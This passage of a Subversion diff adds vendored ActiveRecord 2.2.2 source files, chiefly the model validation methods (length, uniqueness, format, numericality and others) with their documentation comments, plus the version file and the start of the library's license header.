+      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
+      #   method, proc or string should return or evaluate to a true or false value.
+      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
+      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
+      #   method, proc or string should return or evaluate to a true or false value.
+      def validates_each(*attrs)
+        options = attrs.extract_options!.symbolize_keys
+        attrs   = attrs.flatten
+
+        # Declare the validation.
+        send(validation_method(options[:on] || :save), options) do |record|
+          attrs.each do |attr|
+            value = record.send(attr)
+            next if (value.nil? && options[:allow_nil]) || (value.blank? && options[:allow_blank])
+            yield record, attr, value
+          end
+        end
+      end
+
+      # Encapsulates the pattern of wanting to validate a password or email address field with a confirmation. Example:
+      #
+      #   Model:
+      #     class Person < ActiveRecord::Base
+      #       validates_confirmation_of :user_name, :password
+      #       validates_confirmation_of :email_address, :message => "should match confirmation"
+      #     end
+      #
+      #   View:
+      #     <%= password_field "person", "password" %>
+      #     <%= password_field "person", "password_confirmation" %>
+      #
+      # The added +password_confirmation+ attribute is virtual; it exists only as an in-memory attribute for validating the password.
+      # To achieve this, the validation adds accessors to the model for the confirmation attribute. NOTE: This check is performed
+      # only if +password_confirmation+ is not +nil+, and by default only on save. To require confirmation, make sure to add a presence
+      # check for the confirmation attribute:
+      #
+      #   validates_presence_of :password_confirmation, :if => :password_changed?
+      #
+      # Configuration options:
+      # * <tt>:message</tt> - A custom error message (default is: "doesn't match confirmation").
+      # * <tt>:on</tt> - Specifies when this validation is active (default is <tt>:save</tt>, other options <tt>:create</tt>, <tt>:update</tt>).
+      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
+      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
+      #   method, proc or string should return or evaluate to a true or false value.
+      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
+      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
+      #   method, proc or string should return or evaluate to a true or false value.
+      def validates_confirmation_of(*attr_names)
+        configuration = { :on => :save }
+        configuration.update(attr_names.extract_options!)
+
+        attr_accessor(*(attr_names.map { |n| "#{n}_confirmation" }))
+
+        validates_each(attr_names, configuration) do |record, attr_name, value|
+          unless record.send("#{attr_name}_confirmation").nil? or value == record.send("#{attr_name}_confirmation")
+            record.errors.add(attr_name, :confirmation, :default => configuration[:message]) 
+          end
+        end
+      end
+
+      # Encapsulates the pattern of wanting to validate the acceptance of a terms of service check box (or similar agreement). Example:
+      #
+      #   class Person < ActiveRecord::Base
+      #     validates_acceptance_of :terms_of_service
+      #     validates_acceptance_of :eula, :message => "must be abided"
+      #   end
+      #
+      # If the database column does not exist, the +terms_of_service+ attribute is entirely virtual. This check is
+      # performed only if +terms_of_service+ is not +nil+ and by default on save.
+      #
+      # Configuration options:
+      # * <tt>:message</tt> - A custom error message (default is: "must be accepted").
+      # * <tt>:on</tt> - Specifies when this validation is active (default is <tt>:save</tt>, other options <tt>:create</tt>, <tt>:update</tt>).
+      # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+ (default is true).
+      # * <tt>:accept</tt> - Specifies value that is considered accepted.  The default value is a string "1", which
+      #   makes it easy to relate to an HTML checkbox. This should be set to +true+ if you are validating a database
+      #   column, since the attribute is typecast from "1" to +true+ before validation.
+      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
+      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
+      #   method, proc or string should return or evaluate to a true or false value.
+      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
+      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
+      #   method, proc or string should return or evaluate to a true or false value.
+      def validates_acceptance_of(*attr_names)
+        configuration = { :on => :save, :allow_nil => true, :accept => "1" }
+        configuration.update(attr_names.extract_options!)
+
+        db_cols = begin
+          column_names
+        rescue Exception # To ignore both statement and connection errors
+          []
+        end
+        names = attr_names.reject { |name| db_cols.include?(name.to_s) }
+        attr_accessor(*names)
+
+        validates_each(attr_names,configuration) do |record, attr_name, value|
+          unless value == configuration[:accept]
+            record.errors.add(attr_name, :accepted, :default => configuration[:message]) 
+          end
+        end
+      end
+
+      # Validates that the specified attributes are not blank (as defined by Object#blank?). Happens by default on save. Example:
+      #
+      #   class Person < ActiveRecord::Base
+      #     validates_presence_of :first_name
+      #   end
+      #
+      # The first_name attribute must be in the object and it cannot be blank.
+      #
+      # If you want to validate the presence of a boolean field (where the real values are true and false),
+      # you will want to use validates_inclusion_of :field_name, :in => [true, false]
+      # This is due to the way Object#blank? handles boolean values. false.blank? # => true
+      #
+      # Configuration options:
+      # * <tt>message</tt> - A custom error message (default is: "can't be blank").
+      # * <tt>on</tt> - Specifies when this validation is active (default is <tt>:save</tt>, other options <tt>:create</tt>, <tt>:update</tt>).
+      # * <tt>if</tt> - Specifies a method, proc or string to call to determine if the validation should
+      #   occur (e.g. :if => :allow_validation, or :if => Proc.new { |user| user.signup_step > 2 }).  The
+      #   method, proc or string should return or evaluate to a true or false value.
+      # * <tt>unless</tt> - Specifies a method, proc or string to call to determine if the validation should
+      #   not occur (e.g. :unless => :skip_validation, or :unless => Proc.new { |user| user.signup_step <= 2 }).  The
+      #   method, proc or string should return or evaluate to a true or false value.
+      #
+      def validates_presence_of(*attr_names)
+        configuration = { :on => :save }
+        configuration.update(attr_names.extract_options!)
+
+        # can't use validates_each here, because it cannot cope with nonexistent attributes,
+        # while errors.add_on_empty can
+        send(validation_method(configuration[:on]), configuration) do |record|
+          record.errors.add_on_blank(attr_names, configuration[:message])
+        end
+      end
+
+      # Validates that the specified attribute matches the length restrictions supplied. Only one option can be used at a time:
+      #
+      #   class Person < ActiveRecord::Base
+      #     validates_length_of :first_name, :maximum=>30
+      #     validates_length_of :last_name, :maximum=>30, :message=>"less than {{count}} if you don't mind"
+      #     validates_length_of :fax, :in => 7..32, :allow_nil => true
+      #     validates_length_of :phone, :in => 7..32, :allow_blank => true
+      #     validates_length_of :user_name, :within => 6..20, :too_long => "pick a shorter name", :too_short => "pick a longer name"
+      #     validates_length_of :fav_bra_size, :minimum => 1, :too_short => "please enter at least {{count}} character"
+      #     validates_length_of :smurf_leader, :is => 4, :message => "papa is spelled with {{count}} characters... don't play me."
+      #     validates_length_of :essay, :minimum => 100, :too_short => "Your essay must be at least {{count}} words."), :tokenizer => lambda {|str| str.scan(/\w+/) }
+      #   end
+      #
+      # Configuration options:
+      # * <tt>:minimum</tt> - The minimum size of the attribute.
+      # * <tt>:maximum</tt> - The maximum size of the attribute.
+      # * <tt>:is</tt> - The exact size of the attribute.
+      # * <tt>:within</tt> - A range specifying the minimum and maximum size of the attribute.
+      # * <tt>:in</tt> - A synonym(or alias) for <tt>:within</tt>.
+      # * <tt>:allow_nil</tt> - Attribute may be +nil+; skip validation.
+      # * <tt>:allow_blank</tt> - Attribute may be blank; skip validation.
+      # * <tt>:too_long</tt> - The error message if the attribute goes over the maximum (default is: "is too long (maximum is {{count}} characters)").
+      # * <tt>:too_short</tt> - The error message if the attribute goes under the minimum (default is: "is too short (min is {{count}} characters)").
+      # * <tt>:wrong_length</tt> - The error message if using the <tt>:is</tt> method and the attribute is the wrong size (default is: "is the wrong length (should be {{count}} characters)").
+      # * <tt>:message</tt> - The error message to use for a <tt>:minimum</tt>, <tt>:maximum</tt>, or <tt>:is</tt> violation.  An alias of the appropriate <tt>too_long</tt>/<tt>too_short</tt>/<tt>wrong_length</tt> message.
+      # * <tt>:on</tt> - Specifies when this validation is active (default is <tt>:save</tt>, other options <tt>:create</tt>, <tt>:update</tt>).
+      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
+      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
+      #   method, proc or string should return or evaluate to a true or false value.
+      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
+      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
+      #   method, proc or string should return or evaluate to a true or false value.
+      # * <tt>:tokenizer</tt> - Specifies how to split up the attribute string. (e.g. <tt>:tokenizer => lambda {|str| str.scan(/\w+/)}</tt> to
+      #   count words as in above example.)
+      #   Defaults to <tt>lambda{ |value| value.split(//) }</tt> which counts individual characters.
+      def validates_length_of(*attrs)
+        # Merge given options with defaults.
+        options = {
+          :tokenizer => lambda {|value| value.split(//)}
+        }.merge(DEFAULT_VALIDATION_OPTIONS)
+        options.update(attrs.extract_options!.symbolize_keys)
+
+        # Ensure that one and only one range option is specified.
+        range_options = ALL_RANGE_OPTIONS & options.keys
+        case range_options.size
+          when 0
+            raise ArgumentError, 'Range unspecified.  Specify the :within, :maximum, :minimum, or :is option.'
+          when 1
+            # Valid number of options; do nothing.
+          else
+            raise ArgumentError, 'Too many range options specified.  Choose only one.'
+        end
+
+        # Get range option and value.
+        option = range_options.first
+        option_value = options[range_options.first]
+
+        case option
+          when :within, :in
+            raise ArgumentError, ":#{option} must be a Range" unless option_value.is_a?(Range)
+
+            validates_each(attrs, options) do |record, attr, value|
+              value = options[:tokenizer].call(value) if value.kind_of?(String)
+              if value.nil? or value.size < option_value.begin
+                record.errors.add(attr, :too_short, :default => options[:too_short], :count => option_value.begin)
+              elsif value.size > option_value.end
+                record.errors.add(attr, :too_long, :default => options[:too_long], :count => option_value.end)
+              end
+            end
+          when :is, :minimum, :maximum
+            raise ArgumentError, ":#{option} must be a nonnegative Integer" unless option_value.is_a?(Integer) and option_value >= 0
+
+            # Declare different validations per option.
+            validity_checks = { :is => "==", :minimum => ">=", :maximum => "<=" }
+            message_options = { :is => :wrong_length, :minimum => :too_short, :maximum => :too_long }
+
+            validates_each(attrs, options) do |record, attr, value|
+              value = options[:tokenizer].call(value) if value.kind_of?(String)
+              unless !value.nil? and value.size.method(validity_checks[option])[option_value]
+                key = message_options[option]
+                custom_message = options[:message] || options[key]
+                record.errors.add(attr, key, :default => custom_message, :count => option_value) 
+              end
+            end
+        end
+      end
+
+      alias_method :validates_size_of, :validates_length_of
+
+
+      # Validates whether the value of the specified attributes are unique across the system. Useful for making sure that only one user
+      # can be named "davidhh".
+      #
+      #   class Person < ActiveRecord::Base
+      #     validates_uniqueness_of :user_name, :scope => :account_id
+      #   end
+      #
+      # It can also validate whether the value of the specified attributes are unique based on multiple scope parameters.  For example,
+      # making sure that a teacher can only be on the schedule once per semester for a particular class.
+      #
+      #   class TeacherSchedule < ActiveRecord::Base
+      #     validates_uniqueness_of :teacher_id, :scope => [:semester_id, :class_id]
+      #   end
+      #
+      # When the record is created, a check is performed to make sure that no record exists in the database with the given value for the specified
+      # attribute (that maps to a column). When the record is updated, the same check is made but disregarding the record itself.
+      #
+      # Configuration options:
+      # * <tt>:message</tt> - Specifies a custom error message (default is: "has already been taken").
+      # * <tt>:scope</tt> - One or more columns by which to limit the scope of the uniqueness constraint.
+      # * <tt>:case_sensitive</tt> - Looks for an exact match. Ignored by non-text columns (+true+ by default).
+      # * <tt>:allow_nil</tt> - If set to true, skips this validation if the attribute is +nil+ (default is +false+).
+      # * <tt>:allow_blank</tt> - If set to true, skips this validation if the attribute is blank (default is +false+).
+      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
+      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
+      #   method, proc or string should return or evaluate to a true or false value.
+      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
+      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
+      #   method, proc or string should return or evaluate to a true or false value.
+      #
+      # === Concurrency and integrity
+      #
+      # Using this validation method in conjunction with ActiveRecord::Base#save
+      # does not guarantee the absence of duplicate record insertions, because
+      # uniqueness checks on the application level are inherently prone to race
+      # conditions. For example, suppose that two users try to post a Comment at
+      # the same time, and a Comment's title must be unique. At the database-level,
+      # the actions performed by these users could be interleaved in the following manner:
+      #
+      #               User 1                 |               User 2
+      #  ------------------------------------+--------------------------------------
+      #  # User 1 checks whether there's     |
+      #  # already a comment with the title  |
+      #  # 'My Post'. This is not the case.  |
+      #  SELECT * FROM comments              |
+      #  WHERE title = 'My Post'             |
+      #                                      |
+      #                                      | # User 2 does the same thing and also
+      #                                      | # infers that his title is unique.
+      #                                      | SELECT * FROM comments
+      #                                      | WHERE title = 'My Post'
+      #                                      |
+      #  # User 1 inserts his comment.       |
+      #  INSERT INTO comments                |
+      #  (title, content) VALUES             |
+      #  ('My Post', 'hi!')                  |
+      #                                      |
+      #                                      | # User 2 does the same thing.
+      #                                      | INSERT INTO comments
+      #                                      | (title, content) VALUES
+      #                                      | ('My Post', 'hello!')
+      #                                      |
+      #                                      | # ^^^^^^
+      #                                      | # Boom! We now have a duplicate
+      #                                      | # title!
+      #
+      # This could even happen if you use transactions with the 'serializable'
+      # isolation level. There are several ways to get around this problem:
+      # - By locking the database table before validating, and unlocking it after
+      #   saving. However, table locking is very expensive, and thus not
+      #   recommended.
+      # - By locking a lock file before validating, and unlocking it after saving.
+      #   This does not work if you've scaled your Rails application across
+      #   multiple web servers (because they cannot share lock files, or cannot
+      #   do that efficiently), and thus not recommended.
+      # - Creating a unique index on the field, by using
+      #   ActiveRecord::ConnectionAdapters::SchemaStatements#add_index. In the
+      #   rare case that a race condition occurs, the database will guarantee
+      #   the field's uniqueness.
+      #   
+      #   When the database catches such a duplicate insertion,
+      #   ActiveRecord::Base#save will raise an ActiveRecord::StatementInvalid
+      #   exception. You can either choose to let this error propagate (which
+      #   will result in the default Rails exception page being shown), or you
+      #   can catch it and restart the transaction (e.g. by telling the user
+      #   that the title already exists, and asking him to re-enter the title).
+      #   This technique is also known as optimistic concurrency control:
+      #   http://en.wikipedia.org/wiki/Optimistic_concurrency_control
+      #   
+      #   Active Record currently provides no way to distinguish unique
+      #   index constraint errors from other types of database errors, so you
+      #   will have to parse the (database-specific) exception message to detect
+      #   such a case.
+      def validates_uniqueness_of(*attr_names)
+        configuration = { :case_sensitive => true }
+        configuration.update(attr_names.extract_options!)
+
+        validates_each(attr_names,configuration) do |record, attr_name, value|
+          # The check for an existing value should be run from a class that
+          # isn't abstract. This means working down from the current class
+          # (self), to the first non-abstract class. Since classes don't know
+          # their subclasses, we have to build the hierarchy between self and
+          # the record's class.
+          class_hierarchy = [record.class]
+          while class_hierarchy.first != self
+            class_hierarchy.insert(0, class_hierarchy.first.superclass)
+          end
+
+          # Now we can work our way down the tree to the first non-abstract
+          # class (which has a database table to query from).
+          finder_class = class_hierarchy.detect { |klass| !klass.abstract_class? }
+
+          is_text_column = finder_class.columns_hash[attr_name.to_s].text?
+
+          if value.nil?
+            comparison_operator = "IS ?"
+          elsif is_text_column
+            comparison_operator = "#{connection.case_sensitive_equality_operator} ?"
+            value = value.to_s
+          else
+            comparison_operator = "= ?"
+          end
+
+          sql_attribute = "#{record.class.quoted_table_name}.#{connection.quote_column_name(attr_name)}"
+
+          if value.nil? || (configuration[:case_sensitive] || !is_text_column)
+            condition_sql = "#{sql_attribute} #{comparison_operator}"
+            condition_params = [value]
+          else
+            condition_sql = "LOWER(#{sql_attribute}) #{comparison_operator}"
+            condition_params = [value.mb_chars.downcase]
+          end
+
+          if scope = configuration[:scope]
+            Array(scope).map do |scope_item|
+              scope_value = record.send(scope_item)
+              condition_sql << " AND #{record.class.quoted_table_name}.#{scope_item} #{attribute_condition(scope_value)}"
+              condition_params << scope_value
+            end
+          end
+
+          unless record.new_record?
+            condition_sql << " AND #{record.class.quoted_table_name}.#{record.class.primary_key} <> ?"
+            condition_params << record.send(:id)
+          end
+
+          finder_class.with_exclusive_scope do
+            if finder_class.exists?([condition_sql, *condition_params])
+              record.errors.add(attr_name, :taken, :default => configuration[:message], :value => value)
+            end
+          end
+        end
+      end
+
+
+      # Validates whether the value of the specified attribute is of the correct form by matching it against the regular expression
+      # provided.
+      #
+      #   class Person < ActiveRecord::Base
+      #     validates_format_of :email, :with => /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\Z/i, :on => :create
+      #   end
+      #
+      # Note: use <tt>\A</tt> and <tt>\Z</tt> to match the start and end of the string, <tt>^</tt> and <tt>$</tt> match the start/end of a line.
+      #
+      # A regular expression must be provided or else an exception will be raised.
+      #
+      # Configuration options:
+      # * <tt>:message</tt> - A custom error message (default is: "is invalid").
+      # * <tt>:allow_nil</tt> - If set to true, skips this validation if the attribute is +nil+ (default is +false+).
+      # * <tt>:allow_blank</tt> - If set to true, skips this validation if the attribute is blank (default is +false+).
+      # * <tt>:with</tt> - The regular expression used to validate the format with (note: must be supplied!).
+      # * <tt>:on</tt> - Specifies when this validation is active (default is <tt>:save</tt>, other options <tt>:create</tt>, <tt>:update</tt>).
+      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
+      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
+      #   method, proc or string should return or evaluate to a true or false value.
+      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
+      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
+      #   method, proc or string should return or evaluate to a true or false value.
+      def validates_format_of(*attr_names)
+        configuration = { :on => :save, :with => nil }
+        configuration.update(attr_names.extract_options!)
+
+        raise(ArgumentError, "A regular expression must be supplied as the :with option of the configuration hash") unless configuration[:with].is_a?(Regexp)
+
+        validates_each(attr_names, configuration) do |record, attr_name, value|
+          unless value.to_s =~ configuration[:with]
+            record.errors.add(attr_name, :invalid, :default => configuration[:message], :value => value) 
+          end
+        end
+      end
+
+      # Validates whether the value of the specified attribute is available in a particular enumerable object.
+      #
+      #   class Person < ActiveRecord::Base
+      #     validates_inclusion_of :gender, :in => %w( m f ), :message => "woah! what are you then!??!!"
+      #     validates_inclusion_of :age, :in => 0..99
+      #     validates_inclusion_of :format, :in => %w( jpg gif png ), :message => "extension {{value}} is not included in the list"
+      #   end
+      #
+      # Configuration options:
+      # * <tt>:in</tt> - An enumerable object of available items.
+      # * <tt>:message</tt> - Specifies a custom error message (default is: "is not included in the list").
+      # * <tt>:allow_nil</tt> - If set to true, skips this validation if the attribute is +nil+ (default is +false+).
+      # * <tt>:allow_blank</tt> - If set to true, skips this validation if the attribute is blank (default is +false+).
+      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
+      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
+      #   method, proc or string should return or evaluate to a true or false value.
+      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
+      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
+      #   method, proc or string should return or evaluate to a true or false value.
+      def validates_inclusion_of(*attr_names)
+        configuration = { :on => :save }
+        configuration.update(attr_names.extract_options!)
+
+        enum = configuration[:in] || configuration[:within]
+
+        raise(ArgumentError, "An object with the method include? is required must be supplied as the :in option of the configuration hash") unless enum.respond_to?(:include?)
+
+        validates_each(attr_names, configuration) do |record, attr_name, value|
+          unless enum.include?(value)
+            record.errors.add(attr_name, :inclusion, :default => configuration[:message], :value => value) 
+          end
+        end
+      end
+
+      # Validates that the value of the specified attribute is not in a particular enumerable object.
+      #
+      #   class Person < ActiveRecord::Base
+      #     validates_exclusion_of :username, :in => %w( admin superuser ), :message => "You don't belong here"
+      #     validates_exclusion_of :age, :in => 30..60, :message => "This site is only for under 30 and over 60"
+      #     validates_exclusion_of :format, :in => %w( mov avi ), :message => "extension {{value}} is not allowed"
+      #   end
+      #
+      # Configuration options:
+      # * <tt>:in</tt> - An enumerable object of items that the value shouldn't be part of.
+      # * <tt>:message</tt> - Specifies a custom error message (default is: "is reserved").
+      # * <tt>:allow_nil</tt> - If set to true, skips this validation if the attribute is +nil+ (default is +false+).
+      # * <tt>:allow_blank</tt> - If set to true, skips this validation if the attribute is blank (default is +false+).
+      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
+      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
+      #   method, proc or string should return or evaluate to a true or false value.
+      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
+      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
+      #   method, proc or string should return or evaluate to a true or false value.
+      def validates_exclusion_of(*attr_names)
+        configuration = { :on => :save }
+        configuration.update(attr_names.extract_options!)
+
+        enum = configuration[:in] || configuration[:within]
+
+        raise(ArgumentError, "An object with the method include? is required must be supplied as the :in option of the configuration hash") unless enum.respond_to?(:include?)
+
+        validates_each(attr_names, configuration) do |record, attr_name, value|
+          if enum.include?(value)
+            record.errors.add(attr_name, :exclusion, :default => configuration[:message], :value => value) 
+          end
+        end
+      end
+
+      # Validates whether the associated object or objects are all valid themselves. Works with any kind of association.
+      #
+      #   class Book < ActiveRecord::Base
+      #     has_many :pages
+      #     belongs_to :library
+      #
+      #     validates_associated :pages, :library
+      #   end
+      #
+      # Warning: If, after the above definition, you then wrote:
+      #
+      #   class Page < ActiveRecord::Base
+      #     belongs_to :book
+      #
+      #     validates_associated :book
+      #   end
+      #
+      # this would specify a circular dependency and cause infinite recursion.
+      #
+      # NOTE: This validation will not fail if the association hasn't been assigned. If you want to ensure that the association
+      # is both present and guaranteed to be valid, you also need to use +validates_presence_of+.
+      #
+      # Configuration options:
+      # * <tt>:message</tt> - A custom error message (default is: "is invalid")
+      # * <tt>:on</tt> - Specifies when this validation is active (default is <tt>:save</tt>, other options <tt>:create</tt>, <tt>:update</tt>).
+      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
+      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
+      #   method, proc or string should return or evaluate to a true or false value.
+      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
+      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
+      #   method, proc or string should return or evaluate to a true or false value.
+      def validates_associated(*attr_names)
+        configuration = { :on => :save }
+        configuration.update(attr_names.extract_options!)
+
+        validates_each(attr_names, configuration) do |record, attr_name, value|
+          unless (value.is_a?(Array) ? value : [value]).inject(true) { |v, r| (r.nil? || r.valid?) && v }
+            record.errors.add(attr_name, :invalid, :default => configuration[:message], :value => value)
+          end
+        end
+      end
+
+      # Validates whether the value of the specified attribute is numeric by trying to convert it to
+      # a float with Kernel.Float (if <tt>only_integer</tt> is false) or applying it to the regular expression
+      # <tt>/\A[\+\-]?\d+\Z/</tt> (if <tt>only_integer</tt> is set to true).
+      #
+      #   class Person < ActiveRecord::Base
+      #     validates_numericality_of :value, :on => :create
+      #   end
+      #
+      # Configuration options:
+      # * <tt>:message</tt> - A custom error message (default is: "is not a number").
+      # * <tt>:on</tt> - Specifies when this validation is active (default is <tt>:save</tt>, other options <tt>:create</tt>, <tt>:update</tt>).
+      # * <tt>:only_integer</tt> - Specifies whether the value has to be an integer, e.g. an integral value (default is +false+).
+      # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+ (default is +false+). Notice that for fixnum and float columns empty strings are converted to +nil+.
+      # * <tt>:greater_than</tt> - Specifies the value must be greater than the supplied value.
+      # * <tt>:greater_than_or_equal_to</tt> - Specifies the value must be greater than or equal the supplied value.
+      # * <tt>:equal_to</tt> - Specifies the value must be equal to the supplied value.
+      # * <tt>:less_than</tt> - Specifies the value must be less than the supplied value.
+      # * <tt>:less_than_or_equal_to</tt> - Specifies the value must be less than or equal the supplied value.
+      # * <tt>:odd</tt> - Specifies the value must be an odd number.
+      # * <tt>:even</tt> - Specifies the value must be an even number.
+      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
+      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
+      #   method, proc or string should return or evaluate to a true or false value.
+      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
+      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
+      #   method, proc or string should return or evaluate to a true or false value.
+      def validates_numericality_of(*attr_names)
+        configuration = { :on => :save, :only_integer => false, :allow_nil => false }
+        configuration.update(attr_names.extract_options!)
+
+
+        numericality_options = ALL_NUMERICALITY_CHECKS.keys & configuration.keys
+
+        (numericality_options - [ :odd, :even ]).each do |option|
+          raise ArgumentError, ":#{option} must be a number" unless configuration[option].is_a?(Numeric)
+        end
+
+        validates_each(attr_names,configuration) do |record, attr_name, value|
+          raw_value = record.send("#{attr_name}_before_type_cast") || value
+
+          next if configuration[:allow_nil] and raw_value.nil?
+
+          if configuration[:only_integer]
+            unless raw_value.to_s =~ /\A[+-]?\d+\Z/
+              record.errors.add(attr_name, :not_a_number, :value => raw_value, :default => configuration[:message])
+              next
+            end
+            raw_value = raw_value.to_i
+          else
+            begin
+              raw_value = Kernel.Float(raw_value)
+            rescue ArgumentError, TypeError
+              record.errors.add(attr_name, :not_a_number, :value => raw_value, :default => configuration[:message])
+              next
+            end
+          end
+
+          numericality_options.each do |option|
+            case option
+              when :odd, :even
+                unless raw_value.to_i.method(ALL_NUMERICALITY_CHECKS[option])[]
+                  record.errors.add(attr_name, option, :value => raw_value, :default => configuration[:message]) 
+                end
+              else
+                record.errors.add(attr_name, option, :default => configuration[:message], :value => raw_value, :count => configuration[option]) unless raw_value.method(ALL_NUMERICALITY_CHECKS[option])[configuration[option]]
+            end
+          end
+        end
+      end
+
+      # Creates an object just like Base.create but calls save! instead of save
+      # so an exception is raised if the record is invalid.
+      def create!(attributes = nil, &block)
+        if attributes.is_a?(Array)
+          attributes.collect { |attr| create!(attr, &block) }
+        else
+          object = new(attributes)
+          yield(object) if block_given?
+          object.save!
+          object
+        end
+      end
+
+      private
+        def validation_method(on)
+          case on
+            when :save   then :validate
+            when :create then :validate_on_create
+            when :update then :validate_on_update
+          end
+        end
+    end
+
+    # The validation process on save can be skipped by passing false. The regular Base#save method is
+    # replaced with this when the validations module is mixed in, which it is by default.
+    def save_with_validation(perform_validation = true)
+      if perform_validation && valid? || !perform_validation
+        save_without_validation
+      else
+        false
+      end
+    end
+
+    # Attempts to save the record just like Base#save but will raise a RecordInvalid exception instead of returning false
+    # if the record is not valid.
+    def save_with_validation!
+      if valid?
+        save_without_validation!
+      else
+        raise RecordInvalid.new(self)
+      end
+    end
+
+    # Runs +validate+ and +validate_on_create+ or +validate_on_update+ and returns true if no errors were added otherwise false.
+    def valid?
+      errors.clear
+
+      run_callbacks(:validate)
+      validate
+
+      if new_record?
+        run_callbacks(:validate_on_create)
+        validate_on_create
+      else
+        run_callbacks(:validate_on_update)
+        validate_on_update
+      end
+
+      errors.empty?
+    end
+
+    # Returns the Errors object that holds all information about attribute error messages.
+    def errors
+      @errors ||= Errors.new(self)
+    end
+
+    protected
+      # Overwrite this method for validation checks on all saves and use <tt>Errors.add(field, msg)</tt> for invalid attributes.
+      def validate #:doc:
+      end
+
+      # Overwrite this method for validation checks used only on creation.
+      def validate_on_create #:doc:
+      end
+
+      # Overwrite this method for validation checks used only on updates.
+      def validate_on_update # :doc:
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/version.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/version.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/version.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+module ActiveRecord
+  module VERSION #:nodoc:
+    MAJOR = 2
+    MINOR = 2
+    TINY  = 2
+
+    STRING = [MAJOR, MINOR, TINY].join('.')
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,81 @@
+#--
+# Copyright (c) 2004-2008 David Heinemeier Hansson
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
